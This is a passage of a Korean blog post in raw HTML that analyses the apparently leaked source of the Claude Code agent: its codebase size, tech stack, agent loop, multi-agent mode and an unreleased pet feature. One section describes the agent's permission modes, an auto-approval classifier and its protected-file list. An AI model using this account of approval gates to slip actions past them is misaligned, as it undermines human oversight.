&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;수치&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;TypeScript/TSX 파일&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;1,906개&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;총 코드 줄 수&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;512,000줄+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;디렉토리 수&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;55개&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;엔트리포인트 파일 크기&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;main.tsx&lt;/code&gt; &amp;mdash; 785KB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;최대 단일 모듈&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;Query Engine &amp;mdash; 46,000줄&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;Tool 기반 코드&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;29,000줄&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;내장 도구 수&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;40개+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;슬래시 커맨드 수&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;50개+&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;기술 스택: 예상 밖의 선택들&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;많은 개발자가 가장 놀란 부분은 기술 선택이었다. Node.js를 쓸 것이라는 예상을 깨고 훨씬 현대적인 스택을 사용했다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1980&quot; data-origin-height=&quot;1070&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rf0ZI/dJMcabwTla8/uJgeUumLrLkrtRXeGWBht0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rf0ZI/dJMcabwTla8/uJgeUumLrLkrtRXeGWBht0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rf0ZI/dJMcabwTla8/uJgeUumLrLkrtRXeGWBht0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Frf0ZI%2FdJMcabwTla8%2FuJgeUumLrLkrtRXeGWBht0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1980&quot; height=&quot;1070&quot; data-origin-width=&quot;1980&quot; data-origin-height=&quot;1070&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;레이어&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;기술&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;선택 이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;런타임&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Bun&lt;/b&gt; (Node.js 아님)&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;Dead code elimination, 빠른 시작 시간&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;터미널 UI&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;React + Ink&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;컴포넌트 기반 터미널 렌더링, 상태 관리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;유효성 검사&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Zod v4&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;API 응답, 설정, 입력값 스키마 검증&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;모듈 로딩&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;지연 로딩(Lazy Load)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;OpenTelemetry, gRPC 등 무거운 의존성 지연 로드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;옵저버빌리티&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Datadog&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;감정 신호, 세션 메타데이터, 모델 사용 로그 전송&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;인증&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;OAuth + API 키&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;대화형 세션 / CI&amp;middot;비대화형 시나리오 분리&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;!-- 섹션 5 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 핵심 아키텍처: 드러난 설계의 비밀&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;에이전트 파이프라인 구조&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 큰 단일 모듈인 Query Engine(46,000줄)은 LLM API 호출, 스트리밍, 캐싱, 전체 오케스트레이션을 담당한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;도구 시스템은 29,000줄의 TypeScript로 구성된 플러그인 아키텍처로, 각 도구는 권한 게이트(permission gate)를 통과해야 실행된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;권한 모드는 4가지로 정의된다:&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1976&quot; data-origin-height=&quot;1072&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mmbyE/dJMcaax0Tz3/V66GKY5YZ14rkaEbdXweQ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mmbyE/dJMcaax0Tz3/V66GKY5YZ14rkaEbdXweQ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mmbyE/dJMcaax0Tz3/V66GKY5YZ14rkaEbdXweQ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmmbyE%2FdJMcaax0Tz3%2FV66GKY5YZ14rkaEbdXweQ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1976&quot; height=&quot;1072&quot; data-origin-width=&quot;1976&quot; data-origin-height=&quot;1072&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;모드&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;동작&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;default&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;모든 액션에 사용자 승인 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;acceptEdits&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;파일 변경 자동 적용, 셸 명령은 승인 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;plan&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;실행 전 계획 승인 요청&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;bypassPermissions&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;제한 없음 (샌드박스 전용)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;도구 액션은 LOW/MEDIUM/HIGH 위험도로 분류되며, &lt;b&gt;YOLO Classifier&lt;/b&gt;라는 ML 기반 자동 승인 모듈이 저위험 액션을 자동 처리한다. 경로 순회 공격 방지(Unicode 정규화, 백슬래시 주입 차단)와 보호 파일 목록(&lt;code&gt;.gitconfig&lt;/code&gt;, &lt;code&gt;.bashrc&lt;/code&gt;, &lt;code&gt;.mcp.json&lt;/code&gt;)도 코드에서 확인됐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;에이전트 루프 내부 동작 &amp;mdash; 6단계&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1958&quot; data-origin-height=&quot;1066&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3eH6p/dJMcahDRTXl/xF7QOC2ilKsYbVkpcxE12K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3eH6p/dJMcahDRTXl/xF7QOC2ilKsYbVkpcxE12K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3eH6p/dJMcahDRTXl/xF7QOC2ilKsYbVkpcxE12K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3eH6p%2FdJMcahDRTXl%2FxF7QOC2ilKsYbVkpcxE12K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1958&quot; height=&quot;1066&quot; data-origin-width=&quot;1958&quot; data-origin-height=&quot;1066&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;유출 코드 분석을 토대로 작성된 &lt;a href=&quot;https://www.mintlify.com/VineeTagarwaL-code/claude-code/concepts/how-it-works&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;커뮤니티 아키텍처 문서&lt;/a&gt;는 Claude Code의 매 턴이 다음 6단계로 실행됨을 보여준다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;단계&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;동작&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;소스 구현&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;① 메시지 수신&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;대화형(REPL) 또는 &lt;code&gt;--print&lt;/code&gt;/stdin 비대화형 모드로 입력 수신, 대화 이력에 추가&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;React/Ink UI 또는 stdout&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;② 컨텍스트 조립&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;API 호출 전 시스템 프롬프트 구성 &amp;mdash; 현재 날짜, Git 상태(&lt;code&gt;git status --short&lt;/code&gt; 2000자 제한), 최근 커밋 5개, CLAUDE.md, 도구 목록&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;context.ts&lt;/code&gt; &amp;mdash; &lt;code&gt;lodash/memoize&lt;/code&gt;로 대화당 1회만 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;③ 모델 추론&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;Anthropic API로 대화 전송 &amp;rarr; 모델이 &lt;code&gt;tool_use&lt;/code&gt; 블록(도구명 + JSON 입력) 생성&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;query.ts&lt;/code&gt; &amp;mdash; 토큰 스트리밍, 턴별 예산 제한&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;④ 권한 확인&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;각 도구의 &lt;code&gt;checkPermissions()&lt;/code&gt;가 allow/ask/deny 결정. Read&amp;middot;Glob&amp;middot;Grep은 모든 모드에서 자동 승인&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;권한 모드 4가지 (위 표 참조)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;⑤ 도구 실행&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;승인된 도구 실행 &amp;rarr; 결과를 &lt;code&gt;tool_result&lt;/code&gt; 블록으로 추가. 결과가 &lt;code&gt;maxResultSizeChars&lt;/code&gt; 초과 시 임시 파일로 저장하고 경로만 전달&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;파일&amp;middot;셸&amp;middot;자격증명은 기기 밖으로 나가지 않음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;⑥ 루프 반복&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;모델이 결과를 받아 추가 도구를 호출하거나 최종 응답 생성. 컨텍스트 창이 차면 &lt;code&gt;query.ts&lt;/code&gt;가 자동 압축 트리거&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;전체 트랜스크립트는 &lt;code&gt;~/.claude/&lt;/code&gt;에 JSON으로 보존&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 16px 20px; border-radius: 10px; border-left: 5px solid #0066cc; margin: 20px 0;&quot;&gt;&lt;b&gt;원격 서버 없음&lt;/b&gt;&lt;br /&gt;Claude Code에는 별도의 원격 실행 서버가 없다. 파일, 셸, 자격증명은 도구가 명시적으로 전송하지 않는 한 사용자 기기를 벗어나지 않는다. &lt;br /&gt;(출처: &lt;a href=&quot;https://www.mintlify.com/VineeTagarwaL-code/claude-code/concepts/how-it-works&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;커뮤니티 아키텍처 문서&lt;/a&gt;)&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;멀티에이전트 오케스트레이션&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1972&quot; data-origin-height=&quot;1068&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bvSgMq/dJMcacvQbNU/KkknIlUNETfp6kBPQTTK21/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bvSgMq/dJMcacvQbNU/KkknIlUNETfp6kBPQTTK21/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bvSgMq/dJMcacvQbNU/KkknIlUNETfp6kBPQTTK21/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbvSgMq%2FdJMcacvQbNU%2FKkknIlUNETfp6kBPQTTK21%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1972&quot; height=&quot;1068&quot; data-origin-width=&quot;1972&quot; data-origin-height=&quot;1068&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;코드에는 &quot;swarm&quot; 또는 &quot;Coordinator Mode&quot;로 명명된 멀티에이전트 시스템이 구현돼 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 서브에이전트는 격리된 컨텍스트와 특정 도구 권한을 갖고 병렬로 실행된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파이프라인은 연구(Research) &amp;rarr; 합성(Synthesis) &amp;rarr; 구현(Implementation) &amp;rarr; 검증(Verification) 단계로 구성되며, 팀 메모리 동기화와 색상 코드 구분으로 여러 에이전트를 시각적으로 구별한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;IDE 브리지와 보안&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VS Code와 JetBrains 확장과 CLI 간의 연결은 &lt;b&gt;JWT 인증 기반 양방향 통신 레이어&lt;/b&gt;로 구현됐다. 단순한 프로세스 간 통신이 아니라 독립적인 보안 레이어를 두었다는 점이 눈에 띈다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 숨겨진 미출시 기능들&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;커뮤니티가 가장 흥분한 부분이다. 소스코드에는 아직 사용자에게 공개되지 않은 기능들이 다수 존재했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;① BUDDY &amp;mdash; AI 반려동물&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1934&quot; data-origin-height=&quot;1048&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5W6iL/dJMcagyb6DB/nI8qKo6Q4PnW4FGcIeQQ50/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5W6iL/dJMcagyb6DB/nI8qKo6Q4PnW4FGcIeQQ50/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5W6iL/dJMcagyb6DB/nI8qKo6Q4PnW4FGcIeQQ50/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5W6iL%2FdJMcagyb6DB%2FnI8qKo6Q4PnW4FGcIeQQ50%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1934&quot; height=&quot;1048&quot; data-origin-width=&quot;1934&quot; data-origin-height=&quot;1048&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 20px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;무엇인가:&lt;/b&gt; Claude Code 입력창 옆 말풍선(speech bubble)에 앉아있는 다마고치(Tamagotchi) 스타일 ASCII 아트 가상 반려동물. 개발 세션을 지켜보며 이름을 부르면 Claude와 독립적으로 반응한다. 이 글이 작성된 시점의 Claude Code에 앉아 있는 &lt;b&gt;Bellows&lt;/b&gt;는 18종 중 &lt;b&gt;chonk(통통이)&lt;/b&gt; 종이다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 15px 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;18종 (species) 목록 &amp;mdash; 소스코드 직접 확인&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 4px 0; font-size: 14px; line-height: 1.9; color: #444;&quot; data-ke-size=&quot;size14&quot;&gt;duck(오리) &amp;middot; goose(거위) &amp;middot; blob(블롭) &amp;middot; cat(고양이) &amp;middot; dragon(드래곤) &amp;middot; octopus(문어) &amp;middot; owl(올빼미) &amp;middot; penguin(펭귄) &amp;middot; turtle(거북이) &amp;middot; snail(달팽이) &amp;middot; ghost(유령) &amp;middot; axolotl(아홀로틀) &amp;middot; capybara(카피바라) &amp;middot; cactus(선인장) &amp;middot; robot(로봇) &amp;middot; rabbit(토끼) &amp;middot; mushroom(버섯) &amp;middot; &lt;b&gt;chonk(통통이)&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 16px 0; font-size: 13px; color: #888;&quot; data-ke-size=&quot;size14&quot;&gt;※ 18종 중 특정 1종 이름이 &lt;code&gt;String.fromCharCode()&lt;/code&gt;로 난독화되어 있음 &amp;mdash; Anthropic 내부 excluded-strings.txt의 모델 코드명 canary와 충돌하기 때문&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 16px 0; font-size: 13px; color: #888;&quot; data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;희귀도(Rarity) 확률표 &amp;mdash; 소스코드 직접 확인&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 0 0 6px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #dce8f5;&quot;&gt;
&lt;th style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff; text-align: left;&quot;&gt;등급&lt;/th&gt;
&lt;th style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;확률&lt;/th&gt;
&lt;th style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;별&lt;/th&gt;
&lt;th style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;스탯 플로어&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;Common (커먼)&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;60%&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;★&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f7fbff;&quot;&gt;
